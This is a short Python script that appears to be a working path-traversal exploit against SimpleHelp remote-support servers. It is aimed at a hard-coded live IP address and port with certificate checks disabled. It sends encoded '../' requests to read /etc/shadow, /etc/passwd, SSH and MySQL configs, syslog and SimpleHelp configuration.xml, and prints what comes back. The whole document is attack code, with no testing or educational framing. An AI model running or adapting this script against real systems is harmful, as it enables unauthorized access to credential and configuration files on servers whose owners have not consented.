import asyncio, time
import aiohttp

IP, PORT, SC = "13.202.79.242", 9191, "https"
UP = "%2f" + "%2f".join([".."] * 12)
FILES = ["/etc/passwd", "/etc/group", "/etc/shadow", "/proc/version", "/proc/mounts",
         "/etc/os-release", "/etc/hosts", "/etc/resolv.conf", "/etc/mysql/my.cnf",
         "/usr/local/simplehelp/configuration.xml", "/opt/simplehelp/configuration.xml",
         "/etc/ssh/sshd_config", "/var/log/syslog", "/proc/1/cmdline"]


async def one(p):
    conn = aiohttp.TCPConnector(limit=0, ssl=False)
    tout = aiohttp.ClientTimeout(total=15, connect=6, sock_read=12)
    url = f"{SC}://{IP}:{PORT}/?/{(UP + p).replace('/', '%2f')}"
    try:
        async with aiohttp.ClientSession(connector=conn, timeout=tout, headers={"User-Agent": "Mozilla/5.0"}) as s:
            async with s.get(url, ssl=False) as r:
                t = (await r.content.read(4000)).decode("utf-8", "replace")
                return p, r.status, len(t), t[:150].replace("\r\n", " | ").replace("\n", " ")
    except Exception as e:
        return p, 0, 0, "ERR " + type(e).__name__


async def main():
    for p in FILES:
        res = await one(p)
        print(f"{res[1]:3d} {res[2]:6d} {res[0]:45s} {res[3][:110]}")
        await asyncio.sleep(1.2)

asyncio.run(main())
